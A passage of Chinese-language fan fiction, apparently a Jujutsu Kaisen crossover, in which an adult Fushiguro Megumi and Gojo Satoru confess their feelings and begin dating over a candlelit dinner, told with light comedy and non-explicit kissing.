从靠在沙发上的姿势变成坐直了身体, 小心翼翼地问,“惠有什么事吗?” “我……”伏黑惠迟疑了一下, 还是决定没什么可隐瞒的,“我喜欢上悟先生了。” 电话另一边陷入了沉默, 听筒中只剩下微弱的电流声。 伏黑惠的心随着津美纪的沉默提了起来:“津美纪?” 伏黑津美纪的态度依旧温柔和缓:“惠确定吗?五条先生比惠大了十三岁。” “这个无所谓吧。”伏黑惠不以为意地说, “悟先生看着也不像跟我年龄差很大的样子。” 伏黑津美纪那边传来了几声轻笑, 打趣道:“所以惠是喜欢悟先生看着年轻吗?” “不是。”伏黑惠想了想, 困惑地说,“我也不知道我喜欢悟先生什么。” 伏黑津美纪谨慎地确认道:“你确认你是真的喜欢五条先生, 不是因为依赖吗?” 伏黑惠果断地说:“我没有依赖。” “好,惠没有依赖。”伏黑津美纪忍俊不禁的声音从电话另一边传来,“那惠又不知道自己喜欢五条先生什么。” 伏黑惠真的不知道,颇有些百口莫辩的委屈:“津美纪!” 伏黑津美纪的语气中增添了安抚:“好, 我知道了。惠给我打电话就是为了告诉我这件事吗?” “我觉得应该在告诉悟先生之前先跟你说一下。”伏黑惠镇定地说,“我和悟先生马上就要交往了。” “……”伏黑津美纪突然有一种不知道该说什么感觉,她的弟弟……津美纪弯起嘴角,又想哭又想笑,他们家小惠就是这样一个直白的人啊! “津美纪?”伏黑惠疑惑的声音从手机听筒另一边传过来。伏黑津美纪眨了眨眼睛,开口道:“惠就那么确定五条先生会答应跟你交往吗?” “嗯。”伏黑惠肯定地说,想起五条先生让他答应告白时的样子,不自觉地露出一个笑。 伏黑津美纪等了等,没有等到伏黑惠说五条悟告白的事,眼中划过一抹失落:“惠确定五条先生也喜欢你吗?” “我确定。”伏黑惠想起论坛里那些乱七八糟的猜测,决定还是不要告诉津美纪是悟先生先告白的了,就让津美纪以为是他先喜欢上悟先生的好了。 伏黑津美纪无声地叹了口气,转念一想,惠都这么大了有自己的小秘密也是合理的。 她有点无奈地笑了:“既然这样,惠就加油吧,我会祝福你们的。” 既然惠已经和五条先生两情相悦,她现在能做的也只有祝福了。如果有一天两个人分开,她永远都是惠的姐姐和五条先生的亲人。 两姐弟又互相关心了一下最近的日常生活,然后挂断了电话。 伏黑津美纪拿着手心里微微发烫的手机,深深地吸了口气,用手背擦了擦眼睛。 她知道早晚会有这一天的。伏黑津美纪一直都知道五条先生很了解她的弟弟。所以在五条先生找她的时候,津美纪就猜到现在的结局了。 她点开五条悟的联系方式看了看,又按灭了手机屏幕。算了,接下来的事,是惠和悟先生两个人之间的事了。 伏黑惠得到了伏黑津美纪的支持之后轻松了很多。他抱起黑色的「玉犬」跟他贴了贴额头,又在旁边的白色「玉犬」发出撒娇的“呜呜”声时把对方抱进怀里。 两只大狗狗在他怀里钻来钻去还互相争宠,伏黑惠左摸摸右摸摸,温柔地哄着两只式神,直到把两只「玉犬」都哄得心满意足才把他们收回影子里。 伏黑惠看着重新变回空荡荡的宿舍,盯着自己刚刚跟两只「玉犬」一起玩耍的手,若有所思地说:“所以,应该是性格吧。” “阿嚏!”五条悟打了个喷嚏,抬手把面前的咒灵一拳击碎。他掏出手帕擦了擦鼻子,转身朝着「帐」外等候他伊地知洁高。 警察拉警戒线的范围会比「帐」更大一些,五条悟目光一扫,找到了熟悉的小林龙太郎,随口嘱咐了一句:“里面的咒灵已经袚除了,等咒力残秽消失就可以解除封锁了。” 小林龙太郎眼睛一亮:“好多,谢谢五条先生!” “不客气。”五条悟的确更偏向这种性格的辅助者。他每天工作就够忙得了,不想再面对心思多的人。 明智健悟和降谷零就是看出了这一点才让小林龙太郎负责对接五条悟,七海建人那边负责对接的是风见裕也,因为两个人都比较严谨。 小林龙太郎看着五条悟热心地问:“五条先生看起来有些烦恼,有什么我能帮忙的地方吗?” 五条悟若有所思地盯着他看了一会儿,觉得普通人也许能提供更多的思路,毕竟惠一直都想过普通的生活嘛! 他的胳膊靠在车窗窗框上,问:“如果想要追求一个人的话,要怎么做呢?” “欸?追求吗?”小林龙太郎有点不好意思地摸了摸后脑勺,“我没有什么这方面的经验,一般来说追求别人送礼物都是必不可少的一环吧。” 五条悟郁闷地问:“除了送礼物呢?只是送东西一点都不特殊。” 他从小给惠送过的东西不胜枚举,现在只是送礼物完全无法彰显他是在追求惠。 “如果是比较特殊的礼物呢?”小林龙太郎说,“我知道隔壁的降谷先生很招人喜欢,因为他长得帅、性格温柔、厨艺还很好。” 五条悟脑海中浮现出他见过的那个降谷零的影子,惊讶地说:“他?性格温柔?” 小林龙太郎想起那位严肃的上司也发现了自己的不严谨,连忙补充道:“降谷先生那个时候在卧底,跟现在的性格是不太一样。” 五条悟不在意降谷零的性格:“我也长得帅、性格温柔、还会做饭啊!为什么惠就不能发现自己也喜欢我?!” 坐在驾驶座听着五条悟说他自己性格温柔的伊地知洁高:…… “惠?”小林龙太郎迟疑地问,“是伏黑君?” “是啊。”五条悟叹了口气,难得惆怅地说,“虽然暧昧也很有意思,但还是想让惠快点开窍,快点答应我,这样才不会被人抢走!” 小林龙太郎有点担心地说:“我记得伏黑君今年上大一?” 五条悟心不在焉地说:“对。” 小林龙太郎欲言又止地看着五条悟。 五条悟满脸苦恼地抱怨道:“惠不让我再送玫瑰,巧克力惠又不爱吃,还能送些什么才能让大学里的其他人知道应该离惠远一点呢?” 伊地知洁高每次这个时候都会假装自己不存在,他是真的不知道应该送什么好,他没有这方面的经验啊! 但每次他的假装都不太成功,谁让他是每天待在五条悟身边时间最长的人呢。 但今天不同,今天有小林龙太郎主动吸引五条悟的火力。伊地知洁高暗中给了他一个感激的眼神。 小林龙太郎说:“伏黑君年纪不大,五条先生要不要试着送一些他这个年龄喜欢的东西。而且还是不要干涉孩子的大学交友比较好吧……” 他说到后面的时候心虚地减小了声音,虽然不关他的事,但五条先生的占有欲也太重了,伏黑君连交友都要被控制不是太可怜了吗? “我只是担心小惠被骗了。”五条悟幽幽叹气,“惠什么都好,就是心太好了,总是容易被骗!” 小林龙太郎看着五条悟,不明白他这是作为家长的担忧还是作为追求者的占有欲,小心地提醒道:“五条先生,伏黑君已经成年了,也许在你眼里他还小,但其实他已经成长为一个能为自己负责的成年人了。” 他想起的是两年前就站在他们面前,独身一人跟警方高层谈判的伏黑惠,不由感慨道:“伏黑君其实一直都很成熟啊!” “这件事我知道哦。”五条悟脸上的表情淡了下来。他才是最能意识到伏黑惠长大了的那个人,他在御三家会议上看着惠侃侃而谈,看着惠驳斥反对意见,看着惠坚定自信地遵循着自己的决定……但他越是确信这一点,就越是讨厌禅院家。 他的惠原本不用这么急迫地长大的。 五条悟都想好了。等惠和津美纪高中毕业就一人送他们一套大学附近的公寓,孩子长大了都需要隐私嘛。他可以跟惠的公寓买成对门,这样互相串门也方便。 五条悟对自己的空闲时间颇有自知之明,他的房子大部分时间都是五条家的人在打理,到时候惠没空的话就可以让五条家的人打扫房子可以连惠的房子一起打扫,惠有空照看家里的时候也可以连他这边一起照看,跟住在一起区别不大。 那是平和的、温馨的、跟咒灵和咒术师完全无关的生活。但一切都被涉谷事变打破了,他没有完成跟惠的约定,惠甚至在他看不到的地方成为了咒术师……五条悟欣慰于伏黑惠的成长,但他更想让一切回到正轨。 当初惠想要辞去禅院家主之位的时候,明里暗里都有人让他劝劝惠,他们怎么会知道当时的五条悟多高兴。除了自己之外,惠不需要对任何人负责。 等惠脱离禅院家之后,五条悟终于能够重新拿出自己的设想,不把惠放在他眼皮底下,那群禅院家的人又来打扰惠怎么办?! 唯一的疏漏是他没想到自己会喜欢上惠,但是问题不大,只要他直接住进惠的公寓里就可以了。这样更好,惠成了他的伴侣,他看禅院家还敢不敢来骚扰他们! 第83章 五条悟脸上的神色冷淡下来之后会显得格外有疏离感, 让人不敢冒犯。 小林龙太郎不确定是不是自己说错话了才会让对方露出这样的神情,不由得看向伊地知洁高。 虽然双方一个是警察一个是辅助监督,但因为都是在五条悟袚除咒灵的时候等在「帐」外的人, 也有几分交情。 伊地知洁高也不明白, 小心翼翼地打量着五条悟。 这时,五条悟的手机铃声突然响起。他从自己的心绪中脱离出来,烦躁地掏出手机, 看到手机屏幕的那一刻, 脸上的阴云一瞬间就消失了,整个人的气质顿时变成了晴空万里。 伊地知洁高眼睛一亮:得救了! 五条悟接通电话:“惠~” “悟先生。”伏黑惠的声音从电话另一边传过来, 嗓音比平时听起来紧绷一点点, 似乎是在紧张, “您今天回公寓吗?” “回公寓。”五条悟抬眼看了伊地知洁高一眼。 伊地知洁高心领神会地点头, 示意之后没有任务了, 可以立刻就走。 五条悟的脸色更好了,贴心地问:“我马上就到家, 顺路去接惠吗?” 虽然在场的人都知道根本就不顺路。 “不用了。”伏黑惠看着自己手机上属于五条悟的行程,“我自己回去就可以, 您有什么想吃的吗?” 五条悟说:“想吃蕨饼和红豆年糕~” 伏黑惠记下来, 又接着问:“晚饭呢?” 五条悟说:“惠想吃什么?我去买菜。” 伏黑惠说:“您随便买点回来吧。” “好, 那一会儿回家见。”五条悟温声细语地挂断了电话, 抬头烦恼地问伊地知洁高,“伊地知, 约会的时候一般都吃什么?” 伊地知洁高满脸欲言又止地纠结:“……烛光晚餐?” 五条悟拍板道:“去买蜡烛!” 伊地知洁高默默地发动了汽车,朝着公寓的方向开过去,还记得中间得在超市停一下方便五条悟买菜和蜡烛。 顺便,还得记得问问家入小姐, 要是五条先生今天晚上的约会又失败了怎么办?明天的任务是跟高层开会,五条先生的心情会差上加差。 伊地知洁高在心里给明天的自己点了好几根蜡烛,不是用来约会的那种。 伏黑惠排队去给五条悟买点心,这家店的老板很幸运地在「死灭洄游」中幸存,坚强地把店面重新开了起来。 伏黑惠站在队伍里,心不在焉地用手机搜索着“拒绝告白之后发现自己动心了该怎么办”之类的内容,看着重复性颇高的“火葬场”词条百思不得其解。 “伏黑君?” 伏黑惠没想到在这里还能碰到熟人,他忘记现在交友圈里不止五条悟一个人喜欢甜食了:“黑羽学长。” 工藤新一和黑羽快斗一起走过来,替嘴里塞满甜食不能说话的人问:“伏黑君,又是给五条先生买甜品吗?” “嗯,悟先生喜欢这里的蕨饼和红豆年糕。”伏黑惠把手机收起来,跟两位学长问好。 “有品位。”终于把甜食都咽下去的黑羽快斗点评道。 伏黑惠有点焦虑,他本来想自己解决,但是有人来了不问白不问:“黑羽学长,你知道火葬场是什么吗?” “啊?”黑羽快斗和工藤新一对视一眼,“你说的是警视厅比较熟悉的那种吗?” 伏黑惠说:“不是,应该是情感上的一种概念,我在网上看到的。” “哦!”黑羽快斗恍然大悟,“那个啊,是一种后悔莫及的情绪状态,类似于‘失去了之后终于懂得了珍惜’。” “这样啊……”伏黑惠点了点头,确定这个词条跟他没有关系之后把它扔到了脑后。 工藤新一好奇地问:“伏黑君怎么突然问这个?”火葬场听着就不是什么好事啊!难道是跟五条悟的情感状态又出了什么新问题? 伏黑惠言简意赅地说:“我上网查资料的时候看到的。” 黑羽快斗露出了然的笑容:“查‘我拒绝了对方的告白之后又发现自己对对方动心了’这方面的资料吗?” 伏黑惠微微睁大了眼睛,不太自在地说:“您怎么知道?” “很容易想到吧。”黑羽快斗给学弟面授纪要,“有时候繁复的措辞比不上直抒胸臆,只要让对方明白你的心意就可以了。” 伏黑惠若有所思。 接过店家递过来的袋子,礼貌道谢后,伏黑惠骑上五条悟送他的摩托车绝尘而去。 黑羽快斗看着学弟的背影,感慨道:“真帅啊!工藤,你也买一辆怎么样?以后我们可以跟关西的侦探一起飙车。” 大学的好处就在于短时间回家不需要带什么东西,不像中学的时候偶尔过来住一两天还得带着作业。 伏黑惠不知为什么突然回忆起他中学的时候在五条悟的公寓留宿的场景。 那是一次请家长之后,伏黑惠的体术在咒术师里不占优势,但对付普通小混混可以以一打十,结果那次偏偏在脸上挂了彩。其实只是很轻的伤,但是为了不让津美纪知道,打架的和被老师请来的两个人一拍即合。伏黑惠给津美纪打电话说有点事要找五条先生,顺理成章地住进了五条悟的公寓。 其实伏黑姐弟很少踏进五条悟的住所,毕竟五条悟的任务强度住酒店的时候比住公寓还多,完全可以说是居无定所,所以都是五条悟有空就跑来看他们。 伏黑惠每次进入五条悟的公寓都觉得这不像是五条悟住的地方,太刻板、太规整、太冷清。如果让不知道的人来看,可能会觉得更像是伏黑惠的住所。 ——可能只有冰箱里不间断的甜品能显示出公寓主人真正的品味。 伏黑惠把自己买好的甜品放进冰箱里。五条悟还没回来,他给自己沏了一杯拿铁,抱着咖啡杯坐到客厅的沙发里,心不在焉地从茶几下抽出本杂志看。 刚升入大学不久的青年人充分体会到网络求助的不靠谱,开始思考措辞。 其实只要告诉悟先生,他也已经动心了就可以了,直接说吗?但是悟先生好像比较喜欢仪式感,比如玫瑰之类的。 公寓的房门发出轻响,五条悟看着亮着灯的房间,开心地说:“我回来啦!” “欢迎回来。”伏黑惠下意识起身,走到门口去接五条悟手里拎着的袋子,“甜品已经放到冰箱里了,吃完晚餐再吃吧。” “好。”五条悟换好自己的拖鞋,看着两个人猫猫狗狗的情侣拖鞋满心欢喜。 虽然他最开始买的时候是冲着亲子款去的,但现在怎么不能算是情侣款呢? 伏黑惠把袋子拎进厨房往外拿东西:“您都买了什么?” “我买了竹笋、樱花虾、刺身、牛肋条……”五条悟跟在伏黑惠后面走进厨房里,从袋子里翻出几根蜡烛,满怀期待地说,“我们晚上吃烛光晚餐!” 伏黑惠看着五条悟脸上明媚的表情,点了点头:“……好。” 五条悟眨了眨眼睛,惊讶地看着伏黑惠:“惠说什么?” 伏黑惠心里松了一大口气,终于不用他自己想措辞了,大方点头重复道:“我说‘好’。” 到了这个时候,五条悟反倒有点不确定地确认道:“惠知道烛光晚餐是两个人约会的标配吧。” 伏黑惠脸上顿时挂满黑线:“我当然知道了,这是常识吧?” 五条悟的眼睛明亮起来,比天上的太阳还耀眼:“所以惠的意思是……?” “我也喜欢您。”伏黑惠露出一个笑容,耳朵染上了淡淡的粉色,有点不好意思地摸着后颈,但没有回避五条悟的目光,“抱歉,让您久等了。” 第84章 心花怒放。 五条悟第一次充分体会到这个词的含义, 真的是烟花在心头炸开的感觉,又惊又喜。 “惠!!!!”五条悟高兴地抓住伏黑惠的腰,给了他一个举高高。 “悟先生!”伏黑惠猝不及防, 下意识扶住他的肩头, “请您放我下来!” “不放!”五条悟把伏黑惠搂进怀里,蹭啊蹭,“惠~我好开心~” 伏黑惠的身体和五条悟的贴在一起, 能够感觉到对方胸腔里活蹦乱跳的心脏, 自己的脸也跟着隐隐发烫。 五条悟还在超级开心地抒发着自己的先见之明:“我就知道惠也是喜欢我的!” “您说得对。”伏黑惠有点无奈又有些不好意思地偏开头。 五条悟看着伏黑惠隐藏在黑发里的红耳朵,亲了亲他的耳尖。 “您干什么?!”伏黑惠敏感地颤了一下, 倏地把头转回来, 震惊地看着五条悟。 五条悟也是一时动情, 但是看到伏黑惠的反应, 他眨了眨眼睛, 理直气壮地说:“惠都答应我的告白了,那惠就是我的男朋友了, 我亲自己的男朋友是天经地义!” 伏黑惠对身份的突然转变还有些反应不过来,听五条悟这么说, 他迟疑了片刻, 理智上知道五条悟说得有道理, 但感情上……他涨红了一张脸。 五条悟看着伏黑惠通红的脸, 这次提前预告道:“那我要继续亲惠了!” 伏黑惠大惊失色:“等……” 五条悟没等,他在伏黑惠红得透明的脸颊上落下一吻, 又平等地亲了另一边一口,感觉触感很像是果冻但比果冻甜~ 亲完之后,他还要委屈地看着伏黑惠:“惠都让我等了这么久……” 伏黑惠有点内疚了:“对不起……” 悟先生都已经看出他喜欢对方了,反倒是他自己看不出来, 还拒绝了告白让悟先生那么伤心。 “惠没有做错事,再道歉我要生气了。”五条悟看着伏黑惠的神情,跃跃欲试,“那我现在可以继续亲惠了吗?” “不可以!”伏黑惠的手唰的一下从五条悟肩上收回来,捂住两边脸颊,“先、先吃饭吧。” “欸——”五条悟露出失落的神情。 伏黑惠纠结地看着他,既不忍心五条悟失落,又不想继续在厨房里被搂着亲了…… 五条悟眉眼弯弯地说:“那惠亲我一下吧。” 伏黑惠如同一只被抓住了后脖颈的猫一样僵在了五条悟怀里。 五条悟把怀里的人又抱紧了一点,确保伏黑惠不能从影子里跑掉,黏糊糊地撒娇道:“惠~亲亲~” 伏黑惠神情恍惚、目光游移,似乎没想到进展会这么快…… 五条悟满怀期待地看着他。 几秒之后,伏黑惠的神情坚定下来。悟先生已经是他的男朋友了,总不能一直只让对方主动,这是不对的。 伏黑惠深吸了一口气,害羞地躲开五条悟亮晶晶的眼睛,快速亲了一下他的脸。 脸颊上的柔软触感如同蜻蜓点水般一触即分,与其说是亲,还不如说是不小心碰了一下,但五条悟还是笑得见牙不见眼。 浅薄的红色以他亲的位置为起点在五条悟脸上蔓延开来,兴奋的大白猫终于闭麦。 伏黑惠亲完之后也坦然了。他们是恋人,亲亲是正常的,嗯,是正常的。 如果他的脸和耳朵没有红得跟外面的夕阳一样就更有说服力了。 面红耳赤的两个人羞涩对视了几秒。 伏黑惠率先开口道:“悟先生,先做饭吧。” “嗯嗯。”五条悟幸福得晕乎乎的,只知道点头。 伏黑惠推了推他:“您先把我放下来。” 五条悟把伏黑惠放回地面上,想了想又抱起来走到客厅把伏黑惠放到沙发上。 被五条悟抱来抱去的伏黑惠:??? 五条悟看着一脸懵的小惠,心满意足地又亲了一下他的额头:“惠在这里等我哦,我去做饭!” 伏黑惠看着五条悟转身跑回厨房,在五条悟身上幻视了愉快摇晃的大尾巴。 让伏黑惠什么都不做只看着五条悟做饭有点困难。 他现在满脑子都是他亲五条悟的时候,五条悟的神情。 那种充满期盼和爱意的宠溺…… 伏黑惠顶着一张通红的脸,茫然地在客厅转了两圈想给自己找点事干,然后走进了厨房。 五条悟心情很好地哼着歌煎三文鱼,看到伏黑惠后语气荡漾地问:“惠你怎么又进来了?是想我了吗?” “我……”伏黑惠的目光跟五条悟对上的一瞬间,脸更红了。他挪开目光,正好看到冰箱,灵光一闪:“我来到点饮料。” “哦哦好。”五条悟的心如同飘在云端上,伏黑惠跟他说什么他都觉得好。 两个人含情脉脉地互相偷瞄对方,不对视的那种。厨房里顿时充满了粉红泡泡,满是恋爱的气息。 伏黑惠打开冰箱,找出牛奶,轻车熟路地做了两杯颜色差不多,味道大不同的饮品。 他和五条悟都不喝酒,家里一般只准备……各种冲饮粉,毕竟五条悟不一定多久来一次,冲饮粉不容易过期。 牛奶是伏黑惠搬过来住之后才开始加入常购清单的,正在成长期的少年想多喝牛奶长高点完全可以理解。五条悟也就开始跟着自家小孩喝牛奶了。 把拿铁和可可牛奶放到餐桌两边,伏黑惠脚步飘忽地坐在自己常坐的位置上,拿出手机开始……刷论坛,让他跟五条悟一样发个主页把恋情公告天下这种事,他做不出来。 五条悟也还没来得及做,他现在还在一边做饭一边回味自家小惠主动亲他的感觉。如果不是对伏黑惠的口味过于了解,可能会不自觉在菜里加过多的糖,成功达成交往第一天就毒死交往对象的成就。 原来谈恋爱是这种感觉。 在厨房和在餐厅的两个人分别在同一个时间做出了同一个动作——摸了摸自己的心口,感受着里面跳得比最活泼的小兔子还快的心跳。 怪不得人们形容喜欢用心动,是真的,字面意义上的心动啊! 想起小兔子,伏黑惠放出了一只「脱兔」,把小白兔按在自己膝头,一点一点地用手指梳理着兔子毛,平复着自己的心绪。 五条悟把烧好的菜端出去,脚步轻快地端来烛台,然后发现他没有打火机。 两个人面面相觑了一会儿。 伏黑惠开口道:“要不然……”他去买蜡烛? 五条悟打了个响指:“我有办法!”说完后,他端起烛台,雄赳赳气昂昂地走回厨房。 开玩笑,谁都别想拦着他和惠吃烛光晚餐!这可是他们正式交往之后的第一顿饭,必须有纪念意义! 伏黑惠看着五条悟的背影,不知道为什么有点想笑。 虽然五条悟一直都挺幼稚的,但是一般都幼稚得让人很无奈,这种幼稚得很可爱的场景还是很少见的。 五条悟最后是用灶台的火点的烛台,反正点着了就行。 看到五条悟端着已经点燃的烛台款款而来的时候,伏黑惠觉得……有点尴尬:“悟先生。” “惠~”五条悟把烛台放好,自己坐在餐桌旁,满意地看着面前的一桌大餐,“惠先吃一点,明天我预约一家惠喜欢的餐厅,我们去看夜景。” “不用了吧。”伏黑惠下意识说,“明天我晚上有课。” 五条悟:…… 兴奋的白毛大猫猫一下子萎靡下去,胡搅蛮缠地问:“上课比跟我约会更重要吗?” 伏黑惠问:“我们现在不就是在约会吗?” 五条悟振振有词地说:“但是明天也想约会!还有后天!我们不能每一天的约会吗?!” “……不能。”伏黑惠看着五条悟亮闪闪的蓝眼睛,差一点就脱口而出答应他,还好理智让他悬崖勒马。 五条悟不可思议地看着伏黑惠,好像他做了什么不可饶恕的事情:“为什么?!” “因为您和我都很忙。”伏黑惠掏出客观事实,打回了五条悟的感情用事。 五条悟垂死挣扎:“我们才刚开始恋爱……” 伏黑惠一锤定音:“但恋爱没有假期。” 五条悟高高地噘起嘴,不开心! 伏黑惠觉得自己是不是有点扫兴了,他清了清嗓子:“先吃饭吧,悟先生。” “惠说得对。”五条悟重整旗鼓,不管明天能不能约会,最起码今天的约会不能失败! 他举起自己的可可牛奶:“为了庆祝我和惠终于成为了lovelove恋人,干杯!” 伏黑惠举起自己的拿铁,哭笑不得地跟他碰了一下杯,抿了一口。 “惠,吃菜!”五条悟兴致勃勃地说,“我本来想把蔬菜都切成爱心形状的,但是担心耽误吃饭的时间,只能放弃了。” 伏黑惠看着盘子里爱心形状的三文鱼和鹅肝,诚挚地说:“这样就足够了!” “怎么够呢?这都没有我对惠的爱的万分之一~”五条悟比划了一个大圆。 伏黑惠不知道怎么回应,采取了在餐桌上最朴素的转移话题方式:“悟先生,你也吃。” “哦。”五条悟晕乎乎地张嘴接过伏黑惠夹过来的菜,“啊——” 只是想把菜放到五条悟盘子里的伏黑惠:…… 他改变了自己的筷子落点,直接把菜投喂进五条悟嘴里。 “真好吃!”五条悟觉得嘴里的菜顿时带上了一层甜蜜滤镜,立刻不甘示弱地也夹起一筷子菜准备投喂伏黑惠。 伏黑惠瞳孔一缩:“我不……” “惠,啊——”五条悟用伏黑惠最拒绝不了的眼神看着他。 伏黑惠:…… 他生无可恋地张开了嘴。 第85章 伏黑惠身心俱惫地吃完了这一顿饭。他不理解, 他和五条悟都是身心健康的男人,为什么一定要互相喂饭,他们用的勺子也没有那么长啊! 伏黑惠想, 如果以后的约会都是这个流程, 那他们还是不要约会了比较好。 五条悟眨巴着蓝眼睛看着伏黑惠无语的表情,特别想笑。其实他原本只想和惠甜蜜一下,要是一顿饭都这么吃也太累了, 但是看到惠一脸不愿意但还是纵容他的样子就忍不住想要多看几次。 谈恋爱真好啊!五条悟快乐地想, 要是以前惠肯定早就拒绝他了,但是他们在谈恋爱, 惠接受了恋人的身份, 对他的纵容度也跟着提高了。 伏黑惠左思右想, 觉得这样下去不行:“悟先生……” “嗯?”五条悟用布灵布灵的蓝眼睛看着他。 “……没什么。”伏黑惠在心里叹了口气。算了, 也许悟先生是因为他们才刚确认恋爱关系有点激动吧。虽然他没恋爱过但也知道热恋期这种东西, 也许再过一段时间就好了。 伏黑惠说没什么,五条悟却不依不饶地凑上去:“惠, 我们现在是恋人了。” “嗯。”伏黑惠坦然地点头。 五条悟直白地说:“那我想跟惠做一些恋人才可以做的事。” 伏黑惠脸颊微微一红,卷翘浓密的睫毛有点局促地忽闪了两下:“好。” 五条悟眼睛一亮, 往伏黑惠的方向倾身, 然后把餐桌拦住。他迟疑了片刻, 仿佛在犹豫:“我先收拾餐桌, 惠等我一下。” 伏黑惠稍微松了口气,原本的紧张情绪稍微松懈下来:“我也帮忙一起收拾……” “不用!”五条悟挽起袖子, “怎么能让惠收拾,我来!” 伏黑惠莫名其妙地问:“为什么不能让我收拾?” 五条悟振振有词地说:“今天可是我们第一次约会,当然不能让惠干活!” 伏黑惠疑惑地看着他:“您不是也在干活吗?” “惠!”五条悟痛心疾首地说,“跟人谈恋爱的时候第一次约会就让你干活或者让你给他花钱的人绝对不可以知道吗?!” “这种经验我应该用不到吧。”伏黑惠奇怪地说, “我不是已经和您谈恋爱了吗?” 五条悟被伏黑惠一记直球打到空血。他捂着心口,觉得血管里此刻流着的都是甜蜜。 “是哦~惠是我的男朋友~”五条悟说话的尾音都在飘,“所以我不会让惠干活的,会把惠养得白白胖胖的哦~” “……这个还是算了。”伏黑惠看五条悟坚决不让他动手,也不插手了,反正只是把碗碟放进洗碗机,有争执的时间都做完了。 他给两个人分别倒了一杯茶水,摆在客厅的茶几上,乖乖坐在沙发上等着五条悟。 五条悟从厨房出来,看着正在撸狗的伏黑惠觉得心脏软乎乎的。他走过去,抓住「玉犬」就是一顿蹂躏:“好久不见啊,小黑!” “嗷呜!”黑色「玉犬」习以为常地跟着五条悟的力道晃动着,看着五条悟的眼神中满是无奈。 伏黑惠拍了拍白色「玉犬」的脑袋,像是在安抚他。白色「玉犬」扬起脖子,发出撒娇的哼哼声,一个劲往伏黑惠身上靠。 但在他之前,另一只白色大猫猫已经率先靠了上去,煞有其事地对白色「玉犬」说:“不可以哦,小白,惠是我男朋友,只可以给我亲亲抱抱。” 两只「玉犬」:…… 伏黑惠面对两只狗狗无辜茫然的眼神,脸色爆红:“您在跟玉犬说什么呢?!” 五条悟委屈地把伏黑惠圈在怀里:“惠难道不想给我名分吗?好过分!” “什么名分……”伏黑惠头疼地看着他。 “就是把我介绍给「玉犬」啊!还有「脱兔」、「满象」、「鵺」他们。”五条悟故作哀怨地看了他一眼,“对惠来说,式神比一些认识的人更重要吧,难道你不愿意把我们的关系公开吗?” 伏黑惠的神色柔软下来,不好意思地说:“那也没必要这么……这么……”公开关系是一回事,但五条悟刚才的话重点分明是…… 五条悟理直气壮地说:“惠是我的恋人,所以惠的怀抱和亲亲都是我的,以后亲式神要经过我同意……啊!”他委屈地捂着被伏黑惠打了一下的地方,“我们才第一天在一起惠居然就家暴!” 伏黑惠给了他一个‘请您不要戏这么多’的眼神:“式神们都还是小宝宝,请您不要对他们说这种话。” 五条悟残忍地说:“式神从被调伏就是成年体,跟他们比起来,我和惠才是小宝宝。” 伏黑惠低头看了看两只「玉犬」。一黑一白两只狗狗露出单纯无辜的眼神,摇晃着尾巴看着他。伏黑惠缓和了神色,摸了摸两只狗狗的头。 “惠!” 伏黑惠抬起头。 五条悟“吧嗒”一下亲了上来,这次目标明确地亲住了伏黑惠的嘴唇。 伏黑惠睁大了双眼。 五条悟把人搂在怀里,加深了这个吻。两个没有接过吻的人谈不上什么经验,全凭本能行动。 两个人的脑子都晕乎乎的。 好软好滑好甜,原来接吻是这种感觉。五条悟用舌头探索着伏黑惠嘴里每一个角落,直到感觉到伏黑惠呼吸急促,身体软绵绵地开始往下滑了才停下来,火急火燎地去看伏黑惠:“惠?!” 伏黑惠缺氧缺得喘不过气来,差一点就晕过去了。五条悟连忙给伏黑惠顺气,看着对方的脸色慢慢缓过来。 “对不起。”五条悟目光游移,“我下次不会这么粗鲁了,会好好学习技巧的。” “没关系。”伏黑惠都不知道自己在说什么,“不是您的错,我以后也会努力练习的。” 两只「玉犬」蹲坐在一旁,也许是因为伏黑惠害羞心理作祟,两只式神乖巧地用爪爪捂住了眼睛。 五条悟搂着还没恢复力气的伏黑惠,对着两只狗狗谆谆教诲:“以后只有我可以这样亲惠,有其他人敢这么做,你们就咬他,听到没?” “除了您谁还会这么做啊?!”伏黑惠羞耻地把式神收回了影子里。 “有很多人!”五条悟哼哼唧唧地说,“想跟惠联姻的对象都找到我这里来了!” “联姻?”伏黑惠疑惑地说,“禅院直哉不是还没结婚吗?想跟禅院家联姻不是找他更好吗?” “惠太低估自己的价值了。”五条悟把伏黑惠抱得更紧了。 “是想要「十种影法术」的人?”伏黑惠想了想,“是五条家的人吗?” 五条悟神色不善地问:“他们也跟惠提过吗?!” 伏黑惠坦然地说:“以前提过,希望我娶五条家的人让禅院家跟五条家重归于好之类的,但我没有答应。” “不答应就对了!”五条悟说,“惠以后也不能答应。” 伏黑惠的嘴唇动了动,垂下睫毛:“我不是已经答应您了吗?” 五条悟扬眉吐气:“没错,惠已经答应我了!” 禅院家主的地位、「十种影法术」的传承、跟五条悟的关系都是别人觊觎伏黑惠的婚姻的理由。 但现在惠是他的了,只是他一个人的。 第二天,家入硝子看着在她眼前晃来晃去的五条悟,忍无可忍地问:“五条,你闲得没事干就去带学生,在我这里傻笑什么?!” 五条悟像是唱歌一样抑扬顿挫地说:“硝子,我和惠交往了哦!” 家入硝子握着笔的手指节发出“咔哒”一声,咬牙切齿地说:“这句话你今天已经说过八次了!” “诶呀,我想跟硝子分享我的快乐嘛!”五条悟像是一只大尾巴狼一样说。 家入硝子深吸了一口气,阴阳怪气地说:“我能理解,三十多终于破处来找我炫耀了!” 五条悟像是被踩了尾巴的猫:“硝子,你说什么呢?!我和惠的纯洁的lovelove关系!!!” 家入硝子愕然地看着他,转念一想的确是五条悟能干出来的事,毕竟惠是不一样的。但这不妨碍她奚落这个一直在打扰她工作的人:“你不行?” “我的身体好得很!!!”五条悟大声道,“分明是硝子的思想太龌龊了!我和惠昨天才刚刚确认交往关系,怎么可能这么快就……”他的音量小下来,支支吾吾地说,“总之,总得让惠适应一段时间。” “我龌龊?我可没去追求比我小十三岁的孩子!”家入硝子说,“你替惠推了那么多联姻,原来是监守自盗。” 五条悟说:“不管我喜不喜欢惠,我都不会让惠去联姻的。” 家入硝子打量着五条悟:“说的倒是好听,这不是最后还是跟五条家联姻了。” 第86章 东京校的很快就知道了这个消息, 毕竟他们还有一个赌局。 临近毕业的高专三四年级在家入硝子的办公室里齐聚一堂,叽叽喳喳地表达着他们的激动之情。 禅院真希咬牙切齿:“他们已经在一起了?!” Panda双手捧脸:“真的在一起了?!” 禅院真希痛心疾首:“这才多久他们就在一起了?惠不争气啊!” 钉崎野蔷薇问:“那个赌是谁赢了?” Panda说:“时间最靠近的是虎杖。” 